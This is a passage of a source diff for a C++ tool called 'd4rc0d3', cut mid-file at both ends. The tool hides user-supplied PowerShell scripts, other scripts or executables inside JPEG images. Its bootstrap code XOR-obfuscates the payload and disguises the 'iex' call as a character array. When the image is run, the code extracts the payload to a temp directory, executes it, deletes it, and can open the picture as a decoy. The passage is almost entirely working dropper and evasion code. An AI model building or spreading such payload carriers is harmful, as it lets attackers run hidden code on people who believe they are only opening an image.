+        out.payload_mode = detectPayloadMode(out.payload_file_path);
+    }
+}
+
+std::optional<ProgramArgs> ProgramArgs::parse(int argc, char** argv) {
+    const char* program_name = (argc > 0 && argv != nullptr && argv[0] != nullptr) ? argv[0] : "d4rkc0d3";
+
+    if (argc < 2) {
+        return interactiveMode();
+    }
+
+    const std::string_view first_arg = argumentAt(argc, argv, 1, program_name);
+    if (first_arg == "--help" || first_arg == "--info") {
+        if (argc != 2) {
+            throw usageError(program_name);
+        }
+        printHelp(displayProgramName(program_name));
+        return std::nullopt;
+    }
+
+    ProgramArgs out{};
+    ParseState state{};
+    state.next_arg = 1;
+
+    parseFlags(argc, argv, program_name, out, state);
+    parseCommandMode(argc, argv, program_name, out, state);
+
+    if (state.next_arg != argc) {
+        throw usageError(program_name);
+    }
+
+    return out;
+}

src/args.h

@@ -0,0 +1,24 @@
+#pragma once
+
+#include "bootstrap.h"
+
+#include <filesystem>
+#include <optional>
+#include <string>
+
+enum class Option : unsigned char { None, Alt };
+
+struct ProgramArgs {
+    Option option{Option::None};
+    PayloadMode payload_mode{PayloadMode::DirectPwsh};
+    std::filesystem::path image_file_path;
+    std::filesystem::path payload_file_path;
+    std::string inline_commands;
+    std::string output_filename;
+    bool keep_extracted{false};
+    bool show_image{false};
+    bool sequential{false};
+    std::string extract_dir;
+
+    static std::optional<ProgramArgs> parse(int argc, char** argv);
+};

src/bootstrap.cpp

@@ -0,0 +1,556 @@
+#include "bootstrap.h"
+
+#include <algorithm>
+#include <array>
+#include <cctype>
+#include <format>
+#include <random>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+
+namespace {
+
+    constexpr std::string_view BASE64_CHARS =
+        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+
+    [[nodiscard]] std::string base64Encode(std::span<const Byte> input) {
+        std::string result;
+        result.reserve(((input.size() + 2) / 3) * 4);
+
+        std::size_t i = 0;
+        while (i + 2 < input.size()) {
+            const auto triple =
+                (static_cast<uint32_t>(input[i])     << 16) |
+                (static_cast<uint32_t>(input[i + 1]) << 8)  |
+                 static_cast<uint32_t>(input[i + 2]);
+            result += BASE64_CHARS[(triple >> 18) & 0x3F];
+            result += BASE64_CHARS[(triple >> 12) & 0x3F];
+            result += BASE64_CHARS[(triple >>  6) & 0x3F];
+            result += BASE64_CHARS[ triple        & 0x3F];
+            i += 3;
+        }
+
+        if (i < input.size()) {
+            auto triple = static_cast<uint32_t>(input[i]) << 16;
+            if (i + 1 < input.size()) {
+                triple |= static_cast<uint32_t>(input[i + 1]) << 8;
+            }
+            result += BASE64_CHARS[(triple >> 18) & 0x3F];
+            result += BASE64_CHARS[(triple >> 12) & 0x3F];
+            result += (i + 1 < input.size())
+                ? BASE64_CHARS[(triple >> 6) & 0x3F]
+                : '=';
+            result += '=';
+        }
+
+        return result;
+    }
+
+    [[nodiscard]] std::string toLowerExt(const std::filesystem::path& p) {
+        std::string ext = p.extension().string();
+        std::ranges::transform(ext, ext.begin(), [](unsigned char c) {
+            return static_cast<char>(std::tolower(c));
+        });
+        return ext;
+    }
+
+    struct InterpreterInfo {
+        std::string_view ext;
+        std::string_view interpreter;
+        bool is_script;
+    };
+
+    constexpr auto INTERPRETER_MAP = std::to_array<InterpreterInfo>({
+        { ".sh",    "bash",    true },
+        { ".bash",  "bash",    true },
+        { ".zsh",   "zsh",     true },
+        { ".py",    "python3", true },
+        { ".rb",    "ruby",    true },
+        { ".pl",    "perl",    true },
+        { ".bat",   "cmd /c",  true },
+        { ".cmd",   "cmd /c",  true },
+    });
+
+    constexpr auto BINARY_EXTENSIONS = std::to_array<std::string_view>({
+        ".exe", ".elf", ".bin", ".out", ".appimage",
+        ".dll", ".so", ".dylib",
+    });
+
+    [[nodiscard]] bool isBinaryExtension(std::string_view ext) {
+        return std::ranges::any_of(BINARY_EXTENSIONS, [&](std::string_view be) {
+            return ext == be;
+        });
+    }
+
+    [[nodiscard]] std::string_view interpreterForExtension(std::string_view ext) {
+        for (const auto& entry : INTERPRETER_MAP) {
+            if (entry.ext == ext) {
+                return entry.interpreter;
+            }
+        }
+        return {};
+    }
+
+    // ── XOR helpers ─────────────────────────────────────────
+
+    [[nodiscard]] vBytes xorEncode(std::span<const Byte> data, std::span<const Byte> key) {
+        vBytes result(data.size());
+        for (std::size_t i = 0; i < data.size(); ++i) {
+            result[i] = data[i] ^ key[i % key.size()];
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatNumericArray(std::span<const Byte> data) {
+        std::string result;
+        result.reserve(data.size() * 4);
+        for (std::size_t i = 0; i < data.size(); ++i) {
+            if (i > 0) result += ',';
+            result += std::to_string(data[i]);
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatOctalEscaped(std::string_view s) {
+        std::string result;
+        result.reserve(s.size() * 4);
+        for (auto ch : s) {
+            result += std::format("\\{:03o}", static_cast<unsigned char>(ch));
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatPsCharArray(std::string_view s) {
+        std::string result;
+        result.reserve(s.size() * 4);
+        for (std::size_t i = 0; i < s.size(); ++i) {
+            if (i > 0) result += ',';
+            result += std::to_string(static_cast<unsigned char>(s[i]));
+        }
+        return result;
+    }
+
+    // Resolves $_p to the running script path.
+    // Works for: pwsh file.ps1, pwsh file.jpg, pwsh -File file.jpg,
+    //            powershell -ExecutionPolicy Bypass -File file.jpg
+    constexpr std::string_view PS_RESOLVE_PATH =
+        "$_p=$MyInvocation.MyCommand.Path;"
+        "if([string]::IsNullOrEmpty($_p)){"
+            "$_ca=[Environment]::GetCommandLineArgs();"
+            "for($_ci=0;$_ci-lt$_ca.Length-1;$_ci++){"
+                "if($_ca[$_ci]-eq'-File'-or$_ca[$_ci]-eq'-f'){"
+                    "$_p=$_ca[$_ci+1];break"
+                "}"
+            "};"
+            "if([string]::IsNullOrEmpty($_p)-and$_ca.Length-ge2){"
+                "$_p=$_ca[1]"
+            "}"
+        "};";
+
+    [[nodiscard]] std::string psKeyDerivation() {
+        return std::string(PS_RESOLVE_PATH) +
+            std::format(
+                "$_f=[IO.File]::ReadAllBytes($_p);"
+                "$_a=0;for($j=0;$j-lt$_f.Length-1;$j++)"
+                "{{if($_f[$j]-eq0xFF-and$_f[$j+1]-eq0xE2){{$_a=$j;break}}}};"
+                "$_k=[byte[]]::new({1});for($j=0;$j-lt{1};$j++)"
+                "{{$_k[$j]=$_f[$_a+{0}+$j]}}",
+                ICC_KEY_OFFSET, XOR_KEY_LENGTH);
+    }
+
+    [[nodiscard]] std::string wrapPsXorStub(
+        const std::string& ps_code,
+        std::span<const Byte> key) {
+
+        vBytes code_bytes(reinterpret_cast<const Byte*>(ps_code.data()),
+                          reinterpret_cast<const Byte*>(ps_code.data() + ps_code.size()));
+        vBytes xored = xorEncode(code_bytes, key);
+
+        std::string inner = std::format(
+            "{};$d=@({});$r='';for($i=0;$i-lt$d.Count;$i++)"
+            "{{$r+=[char]($d[$i]-bxor$_k[$i%$_k.Length])}};iex $r",
+            psKeyDerivation(), formatNumericArray(xored));
+
+        return std::format(
+            "&([char[]]@(105,101,120)-join'')([char[]]@({})-join'')",
+            formatPsCharArray(inner));
+    }
+
+    // ── Bootstrap builders ──────────────────────────────────
+
+    [[nodiscard]] std::string psExtractDir(const BootstrapOptions& opts) {
+        if (opts.extract_dir.empty()) {
+            return "[IO.Path]::GetTempPath()";
+        }
+        return std::format("'{}'", opts.extract_dir);
+    }
+
+    [[nodiscard]] std::string psShowPrefix(const BootstrapOptions& opts) {
+        if (!opts.show_image) {
+            return "";
+        }
+        if (opts.sequential) {
+            return std::string(PS_RESOLVE_PATH) +
+                   "try{if($IsMacOS){& open -W $_p}elseif($IsLinux){& xdg-open $_p;Start-Sleep 1}"
+                   "else{Start-Process mspaint.exe $_p -Wait}}catch{};";
+        }
+        return std::string(PS_RESOLVE_PATH) +
+               "try{if($IsMacOS){& open $_p}elseif($IsLinux){& xdg-open $_p}"
+               "else{Start-Process mspaint.exe $_p}}catch{};";
+    }
+
+    [[nodiscard]] std::string shellShowPrefix(std::string_view self = "$0", bool sequential = false) {
+        if (sequential) {
+            return std::format("open -W \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null\n", self, self);
+        }
+        return std::format("(open \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null) &\n", self, self);
+    }
+
+    [[nodiscard]] std::string buildScriptBootstrap(
+        std::string_view interpreter,
+        std::string_view target_ext,
+        const BootstrapOptions& opts,
+        std::span<const Byte> xor_key) {
+
+        const std::string dir_expr = psExtractDir(opts);
+        const std::string cleanup = opts.keep_extracted
+            ? ""
+            : "finally{Remove-Item $_t -EA 0}";
+        const std::string show = psShowPrefix(opts);
+
+        std::string xor_decode;
+        if (!xor_key.empty()) {
+            xor_decode = std::format(
+                "{};for($_j=0;$_j-lt$_d.Length;$_j++)"
+                "{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
+                psKeyDerivation());
+        }
+
+        std::string marker = std::format("\r\n#JPWS:{}:{}\r\n", target_ext, interpreter);
+
+        std::string body = std::format(
+            "{}$_s=[IO.File]::ReadAllText($_p,"
+            "[Text.Encoding]::GetEncoding(28591));"
+            "$_i=$_s.IndexOf('#_:')+3;"
+            "$_d=[Convert]::FromBase64String("
+            "$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
+            "{}"
+            "$_t=[IO.Path]::Combine({},"
+            "[IO.Path]::GetFileName($_p));"
+            "[IO.File]::WriteAllBytes($_t,$_d);"
+            "try{{"
+                "if($IsLinux-or$IsMacOS){{chmod +x $_t;{} $_t}}"
+                "else{{{} $_t}}"
+            "}}{};exit",
+            show, xor_decode, dir_expr, interpreter, interpreter, cleanup);
+
+        return marker + body;
+    }
+
+    [[nodiscard]] std::string buildBinaryBootstrap(
+        std::string_view target_ext,
+        const BootstrapOptions& opts,
+        std::span<const Byte> xor_key) {
+
+        const std::string dir_expr = psExtractDir(opts);
+        const std::string cleanup = opts.keep_extracted
+            ? ""
+            : "finally{Remove-Item $_t -EA 0}";
+        const std::string show = psShowPrefix(opts);
+
+        std::string xor_decode;
+        if (!xor_key.empty()) {
+            xor_decode = std::format(
+                "{};for($_j=0;$_j-lt$_d.Length;$_j++)"
+                "{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
+                psKeyDerivation());
+        }
+
+        std::string marker = std::format("\r\n#JPWS:{}:exec\r\n", target_ext);
+
+        std::string body = std::format(
+            "{}$_s=[IO.File]::ReadAllText($_p,"
+            "[Text.Encoding]::GetEncoding(28591));"
+            "$_i=$_s.IndexOf('#_:')+3;"
+            "$_d=[Convert]::FromBase64String("
+            "$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
+            "{}"
+            "$_t=[IO.Path]::Combine({},"
+            "[IO.Path]::GetFileName($_p));"
+            "[IO.File]::WriteAllBytes($_t,$_d);"
+            "try{{"
+                "if($IsLinux-or$IsMacOS){{chmod +x $_t}}"
+                "&$_t"
+            "}}{};exit",
+            show, xor_decode, dir_expr, cleanup);
+
+        return marker + body;
+    }
+
+    [[nodiscard]] std::string escapeForEval(std::string_view cmd) {
+        std::string result;
+        result.reserve(cmd.size());
+        for (char c : cmd) {
+            if (c == '\'') {
+                result += "'\\''";
+            } else {
+                result += c;
+            }
+        }
+        return result;
+    }
+}
+
+vBytes generateXorKey(std::size_t length) {
+    std::random_device rd;
+    vBytes key(length);
+    std::uniform_int_distribution<unsigned> dist(1, 255);
+    for (auto& b : key) {
+        b = static_cast<Byte>(dist(rd));
+    }
+    return key;
+}
+
+PayloadMode detectPayloadMode(const std::filesystem::path& payload_path) {
+    const std::string ext = toLowerExt(payload_path);
+
+    if (ext == ".ps1") {
+        return PayloadMode::DirectPwsh;
+    }
+
+    if (interpreterForExtension(ext) != std::string_view{}) {
+        return PayloadMode::Script;
+    }
+
+    if (isBinaryExtension(ext)) {
+        return PayloadMode::Binary;
+    }
+
+    return PayloadMode::Binary;
+}
+
+std::string payloadTargetExtension(const std::filesystem::path& payload_path) {
+    return toLowerExt(payload_path);
+}
+
+std::string_view interpreterForPath(const std::filesystem::path& payload_path) {
+    return interpreterForExtension(toLowerExt(payload_path));
+}
+
+vBytes generateBootstrap(
+    PayloadMode mode,
+    const vBytes& payload_bytes,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands,
+    const BootstrapOptions& opts,
+    std::span<const Byte> xor_key) {
+
+    std::string script;
+
+    switch (mode) {
+        case PayloadMode::DirectPwsh:
+            script.assign(reinterpret_cast<const char*>(payload_bytes.data()),
+                          payload_bytes.size());
+            break;
+
+        case PayloadMode::Script: {
+            const std::string ext = toLowerExt(payload_path);
+            const std::string_view interpreter = interpreterForExtension(ext);
+            if (interpreter.empty()) {
+                throw std::runtime_error(
+                    std::format("No interpreter mapping for extension \"{}\".", ext));
+            }
+            script = buildScriptBootstrap(interpreter, ext, opts, xor_key);
+            if (!inline_commands.empty()) {
+                script = std::string(inline_commands) + "\r\n" + script;
+            }
+            break;
+        }
+
+        case PayloadMode::Binary: {
+            const std::string ext = toLowerExt(payload_path);
+            script = buildBinaryBootstrap(ext, opts, xor_key);
+            if (!inline_commands.empty()) {
+                script = std::string(inline_commands) + "\r\n" + script;
+            }
+            break;
+        }
+
+        case PayloadMode::Command: {
+            const std::string show = psShowPrefix(opts);
+            script = show + std::string(inline_commands);
+            break;
+        }
+    }
+
+    if (script.empty()) {
+        throw std::runtime_error("Bootstrap generation produced empty script.");
+    }
+
+    if (!xor_key.empty()) {
+        std::string stub = wrapPsXorStub(script, xor_key);
+        return vBytes(reinterpret_cast<const Byte*>(stub.data()),
+                      reinterpret_cast<const Byte*>(stub.data() + stub.size()));
+    }
+
+    return vBytes(reinterpret_cast<const Byte*>(script.data()),
+                  reinterpret_cast<const Byte*>(script.data() + script.size()));
+}
+
+vBytes buildShellComSegment(
+    PayloadMode mode,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands,
+    const BootstrapOptions& opts,
+    std::span<const Byte> xor_key,
+    std::string* out_shell_post_eoi) {
+
+    const bool wrapped = !xor_key.empty();
+    const std::string_view self = wrapped ? "$1" : "$0";
+
+    const std::string shell_dir = opts.extract_dir.empty() ? "/tmp" : opts.extract_dir;
+    const std::string rm_line = opts.keep_extracted ? "" : ";rm -f \"$f\"";
+    const std::string show = shellShowPrefix(self, opts.sequential);
+
+    std::string xor_pipe;
+    if (!xor_key.empty()) {
+        xor_pipe = std::format(
+            "|perl -e '$/=undef;open F,\"<\",$ARGV[0]or die;binmode F;"
+            "seek F,0,0;$b=\"\";while(read F,$c,1){{if($c eq\"\\xff\")"
+            "{{read F,$n,1;if($n eq\"\\xe2\"){{seek F,{}-2,1;"
+            "read F,$k,{};last}}}}}}close F;"
+            "$d=<STDIN>;"
+            "my$_l=length($d);"
+            "for my$_i(0..$_l-1){{substr($d,$_i,1,chr(ord(substr($d,$_i,1))^ord(substr($k,$_i%length($k),1))))}}"
+            "print$d' -- \"{}\"",
+            ICC_KEY_OFFSET, XOR_KEY_LENGTH, self);
+    }
+
+    std::string shell_script;
+
+    constexpr std::string_view SHELL_EXIT = "wait 2>/dev/null";
+
+    switch (mode) {
+        case PayloadMode::DirectPwsh:
+            shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            break;
+
+        case PayloadMode::Command:
+            if (!inline_commands.empty()) {
+                shell_script = show + "eval '" + escapeForEval(inline_commands) + "' &\n" + std::string(SHELL_EXIT);
+            } else {
+                shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            }
+            break;
+
+        case PayloadMode::Script: {
+            const std::string ext = toLowerExt(payload_path);
+            const std::string_view interp = interpreterForExtension(ext);
+            if (interp.empty()) {
+                shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
+            } else {
+                std::string cmd_prefix;
+                if (!inline_commands.empty()) {
+                    cmd_prefix = std::string(inline_commands) + "\n";
+                }
+                shell_script = std::format(
+                    "{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
+                    "grep -am1 '^#_:' \"{}\"|"
+                    "sed 's/^#_://'|base64 -d{}>\"$f\"\n"
+                    "chmod +x \"$f\";{} \"$f\"{})&\n{}",
+                    show, cmd_prefix, shell_dir, self, self, xor_pipe, interp, rm_line, SHELL_EXIT);
+            }
+            break;
+        }
+
+        case PayloadMode::Binary: {
+            const std::string ext = toLowerExt(payload_path);
+            std::string cmd_prefix;
+            if (!inline_commands.empty()) {
+                cmd_prefix = std::string(inline_commands) + "\n";
+            }
+            shell_script = std::format(
+                "{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
+                "grep -am1 '^#_:' \"{}\"|"
+                "sed 's/^#_://'|base64 -d{}>\"$f\"\n"
+                "chmod +x \"$f\";\"$f\"{})&\n{}",
+                show, cmd_prefix, shell_dir, self, self, xor_pipe, rm_line, SHELL_EXIT);
+            break;
+        }
+    }
+
+    std::string com_script;
+    if (wrapped) {
+        vBytes shell_bytes(reinterpret_cast<const Byte*>(shell_script.data()),
+                           reinterpret_cast<const Byte*>(shell_script.data() + shell_script.size()));
+        std::string shell_b64 = base64Encode(shell_bytes);
+        std::string inner = "grep -am1 '^#0:' \"$1\"|cut -c4-|base64 -d|sh -s \"$1\"";
+        com_script = "(printf '" + formatOctalEscaped(inner) + "'|sh -s \"$0\");:";
+        if (out_shell_post_eoi) {
+            *out_shell_post_eoi = "#0:" + shell_b64;
+        }
+    } else {
+        com_script = shell_script;
+    }
+
+    std::string com_data = "\n" + com_script + "\n";
+
+    constexpr std::size_t MIN_COM_DATA = 255;
+    while (com_data.size() < MIN_COM_DATA) {
+        com_data += '#';
+    }
+
+    const auto data_len = com_data.size();
+    if (data_len + 2 > 0xFFFF) {
+        throw std::runtime_error("Internal Error: COM segment too large.");
+    }
+    auto com_length = static_cast<uint16_t>(data_len + 2);
+
+    if ((com_length & 0xFF) == 0) {
+        com_data += '#';
+        com_length = static_cast<uint16_t>(com_data.size() + 2);
+    }
+    if ((com_length >> 8) == 0) {
+        throw std::runtime_error("Internal Error: COM segment too small for NUL-free length.");
+    }
+
+    vBytes segment;
+    segment.reserve(4 + com_data.size());
+    segment.push_back(0xFF);
+    segment.push_back(0xFE);
+    segment.push_back(static_cast<Byte>(com_length >> 8));
+    segment.push_back(static_cast<Byte>(com_length & 0xFF));
+    segment.insert(segment.end(),
+                   reinterpret_cast<const Byte*>(com_data.data()),
+                   reinterpret_cast<const Byte*>(com_data.data() + com_data.size()));
+
+    return segment;
+}
+
+vBytes generatePostEoiPayload(const vBytes& payload_bytes, std::span<const Byte> xor_key, std::string_view shell_line) {
+    if (payload_bytes.empty() && shell_line.empty()) return {};
+
+    std::string data = "\n<#\n";
+
+    if (!shell_line.empty()) {
+        data += shell_line;
+        data += '\n';
+    }
+
+    if (!payload_bytes.empty()) {
+        vBytes to_encode;
+        if (!xor_key.empty()) {
+            to_encode = xorEncode(payload_bytes, xor_key);
+        } else {
+            to_encode = payload_bytes;
+        }
+        data += "#_:" + base64Encode(to_encode) + '\n';
+    }
+
+    data += "#>";
+
+    return vBytes(reinterpret_cast<const Byte*>(data.data()),
+                  reinterpret_cast<const Byte*>(data.data() + data.size()));
+}

src/bootstrap.h

@@ -0,0 +1,54 @@
+#pragma once
+
+#include "common.h"
+
+#include <filesystem>
+#include <span>
+#include <string>
+#include <string_view>
+
+enum class PayloadMode : unsigned char {
+    DirectPwsh,
+    Script,
+    Binary,
+    Command
+};
+
+struct BootstrapOptions {
+    bool keep_extracted{false};
+    bool show_image{false};
+    bool sequential{false};
+    std::string extract_dir;
+};
+
+constexpr std::size_t ICC_KEY_OFFSET = 102;
+constexpr std::size_t XOR_KEY_LENGTH = 16;
+
+[[nodiscard]] vBytes generateXorKey(std::size_t length);
+
+[[nodiscard]] PayloadMode detectPayloadMode(const std::filesystem::path& payload_path);
+
+[[nodiscard]] std::string payloadTargetExtension(const std::filesystem::path& payload_path);
+
+[[nodiscard]] std::string_view interpreterForPath(const std::filesystem::path& payload_path);
+
+[[nodiscard]] vBytes generateBootstrap(
+    PayloadMode mode,
+    const vBytes& payload_bytes,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands = "",
+    const BootstrapOptions& opts = {},
+    std::span<const Byte> xor_key = {});
+
+[[nodiscard]] vBytes generatePostEoiPayload(
+    const vBytes& payload_bytes,
+    std::span<const Byte> xor_key = {},
+    std::string_view shell_line = "");
+
+[[nodiscard]] vBytes buildShellComSegment(
+    PayloadMode mode,
+    const std::filesystem::path& payload_path,
+    std::string_view inline_commands = "",
+    const BootstrapOptions& opts = {},
+    std::span<const Byte> xor_key = {},
+    std::string* out_shell_post_eoi = nullptr);

src/build.sh

@@ -0,0 +1,60 @@
+#!/bin/bash
+# build.sh — Compile d4rc0d3_engine from source
+# Supports: Linux arm64, Linux x86_64, macOS (Intel/Apple Silicon)
+#
+# Dependencies:
+#   Debian/Ubuntu:  apt-get install -y g++ libturbojpeg0-dev libjpeg-dev
+#   RHEL/Fedora:    dnf install -y gcc-c++ turbojpeg-devel libjpeg-turbo-devel
+#   macOS:          brew install jpeg-turbo libjpeg
+#   Alpine:         apk add g++ libjpeg-turbo-dev
+
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+OUT="${1:-$SCRIPT_DIR/../d4rc0d3_engine}"
+OS="$(uname -s)"
+ARCH="$(uname -m)"
+
+echo "[*] Building d4rc0d3_engine for ${OS}/${ARCH}..."
+echo "[*] Output: ${OUT}"
+
+FLAGS=(-std=c++23 -O3 -Wall -Wextra -DNDEBUG -fPIE)
+LINK=()
+
+case "$OS" in
+    Linux)
+        FLAGS+=(
+            -Wformat-security -fstack-protector-strong
+            -D_FORTIFY_SOURCE=2 -D_GLIBCXX_ASSERTIONS
+            -s -flto=auto
+        )
+        # -fcf-protection is x86-only
+        if [[ "$ARCH" == "x86_64" ]]; then
+            FLAGS+=(-fcf-protection=full)
+        fi
+        LINK+=(-pie -Wl,-z,relro,-z,now,-z,noexecstack)
+        ;;
+    Darwin)
+        FLAGS+=(-flto=auto -Wno-c99-extensions)
+        # Homebrew paths
+        if [[ -d /opt/homebrew/include ]]; then
+            FLAGS+=(-I/opt/homebrew/include)
+            LINK+=(-L/opt/homebrew/lib)
+        elif [[ -d /usr/local/include ]]; then
+            FLAGS+=(-I/usr/local/include)
+            LINK+=(-L/usr/local/lib)
+        fi
+        ;;
+esac
+
+cd "$SCRIPT_DIR"
+
+g++ "${FLAGS[@]}" \
+    args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
+    jpeg_warning_check.cpp d4rc0d3_core.cpp \
+    -lturbojpeg -ljpeg \
+    "${LINK[@]}" \
+    -o "$OUT"
+
+echo "[+] Build successful: $OUT ($(du -h "$OUT" | cut -f1))"
+echo "[+] Architecture: $(readelf -h "$OUT" 2>/dev/null | grep Machine | awk '{print $2}' || file "$OUT" | grep -oE 'arm64|x86_64|x86')"

src/common.h

@@ -0,0 +1,57 @@
+#pragma once
+
+// ---------------------------------------------------------------------------
+// Toolchain floor. d4rc0d3 is distributed as source and built by each user, so
+// fail early with a clear message rather than a wall of template errors when
+// the compiler is too old. The floor is set by std::print / std::format
+// (and other C++23 library features used throughout).
+// ---------------------------------------------------------------------------
+#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 14
+#  error "d4rc0d3 requires GCC >= 14 (for std::print/std::format). Please upgrade your compiler."
+#elif defined(__clang__) && __clang_major__ < 18
+#  error "d4rc0d3 requires Clang >= 18 with a C++23 standard library (libc++ 18+ or libstdc++ 14+). Please upgrade your compiler."
+#endif
+
+#include <cstdint>
+#include <unistd.h>
+#include <vector>
+
+using Byte   = std::uint8_t;
+using vBytes = std::vector<Byte>;
+
+class UniqueFd {
+public:
+    explicit UniqueFd(int fd = -1) noexcept : fd_(fd) {}
+
+    ~UniqueFd() { reset(); }
+
+    UniqueFd(const UniqueFd&) = delete;
+    UniqueFd& operator=(const UniqueFd&) = delete;
+
+    UniqueFd(UniqueFd&& other) noexcept : fd_(other.release()) {}
+
+    UniqueFd& operator=(UniqueFd&& other) noexcept {
+        if (this != &other) {
+            reset(other.release());
+        }
+        return *this;
+    }
+
+    [[nodiscard]] int get() const noexcept { return fd_; }
+
+    [[nodiscard]] int release() noexcept {
+        const int released_fd = fd_;
+        fd_ = -1;
+        return released_fd;
+    }
+
+    void reset(int new_fd = -1) noexcept {
+        if (fd_ >= 0) {
+            ::close(fd_);
+        }
+        fd_ = new_fd;
+    }
+
+private:
+    int fd_;
+};

src/d4rc0d3_core.cpp

@@ -0,0 +1,740 @@
+#include "common.h"
+#include "args.h"
+#include "bootstrap.h"
+#include "file_utils.h"
+#include "jpeg_process.h"
+#include "jpeg_warning_check.h"
+#include <algorithm>
+#include <fstream>
+#include <filesystem>
+#include <array>
+#include <cerrno>
+#include <cstddef>
+#include <exception>
+#include <fcntl.h>
+#include <format>
+#include <iostream>
+#include <limits>
+#include <optional>
+#include <print>
+#include <random>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+#include <system_error>
+
+namespace {
+    constexpr std::size_t JFIF_SIG_LENGTH = 20;          // SOI(2) + APP0 marker(2) + length(2) + data(14)
+    constexpr std::size_t JFIF_COMMENT_BLOCK_INDEX = 0x0C; // offset in image bytes to patch with XTW\n<#
+
+    constexpr std::size_t SEGMENT_SIZE_FIELD_INDEX = 0x16;
+    constexpr std::size_t PROFILE_SIZE_FIELD_INDEX = 0x26;
+    constexpr std::size_t PWSH_INSERT_INDEX = 6;
+
+    constexpr std::size_t MAX_PROFILE_SEGMENT = 65535;
+
+    [[nodiscard]] std::size_t checkedAdd(std::size_t lhs, std::size_t rhs, std::string_view context) {
+        if (lhs > std::numeric_limits<std::size_t>::max() - rhs) {
+            throw std::runtime_error(std::format("{} size overflow.", context));
+        }
+        return lhs + rhs;
+    }
+
+    [[nodiscard]] std::size_t checkedSub(std::size_t lhs, std::size_t rhs, std::string_view context) {
+        if (lhs < rhs) {
+            throw std::runtime_error(std::format("{} size underflow.", context));
+        }
+        return lhs - rhs;
+    }
+
+    void writeBigEndian(vBytes& vec, std::size_t index, std::size_t value, std::size_t bytes) {
+        if (bytes == 0 || bytes > sizeof(std::size_t)) {
+            throw std::runtime_error("writeBigEndian: invalid byte count.");
+        }
+        if (index > vec.size() || bytes > vec.size() - index) {
+            throw std::runtime_error("writeBigEndian: index out of bounds.");
+        }
+        if (bytes < sizeof(std::size_t) && value >= (std::size_t{1} << (bytes * 8))) {
+            throw std::runtime_error("writeBigEndian: value exceeds range for requested byte width.");
+        }
+
+        constexpr std::size_t BITS_PER_BYTE = 8;
+        for (std::size_t byte_index = 0; byte_index < bytes; ++byte_index) {
+            const std::size_t shift = (bytes - byte_index - 1) * BITS_PER_BYTE;
+            vec[index + byte_index] = static_cast<Byte>((value >> shift) & 0xFF);
+        }
+    }
+
+    constexpr auto ICC_PROFILE_TEMPLATE = std::to_array<Byte>({
+        0xFF, 0xE2, 0x00, 0x00, 0x49, 0x43, 0x43, 0x5F, 0x50, 0x52, 0x4F, 0x46, 0x49, 0x4C, 0x45, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x63, 0x6D, 0x73,
+        0x02, 0x10, 0x00, 0x00, 0x6D, 0x6E, 0x74, 0x72, 0x52, 0x47, 0x42, 0x20, 0x58, 0x59, 0x5A, 0x20, 0x07, 0xE2, 0x00, 0x03, 0x00, 0x14, 0x00, 0x09, 0x00, 0x0E,
+        0x00, 0x1D, 0x61, 0x63, 0x73, 0x70, 0x4D, 0x53, 0x46, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x2D, 0x6C, 0x63, 0x6D, 0x73, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x64, 0x65, 0x73, 0x63, 0x00, 0x00,
+        0x00, 0xF0, 0x00, 0x00, 0x00, 0x1C, 0x77, 0x74, 0x70, 0x74, 0x00, 0x00, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x72, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x20,
+        0x00, 0x00, 0x00, 0x14, 0x67, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x34, 0x00, 0x00, 0x00, 0x14, 0x62, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x48, 0x00, 0x00,
+        0x00, 0x14, 0x72, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x67, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34,
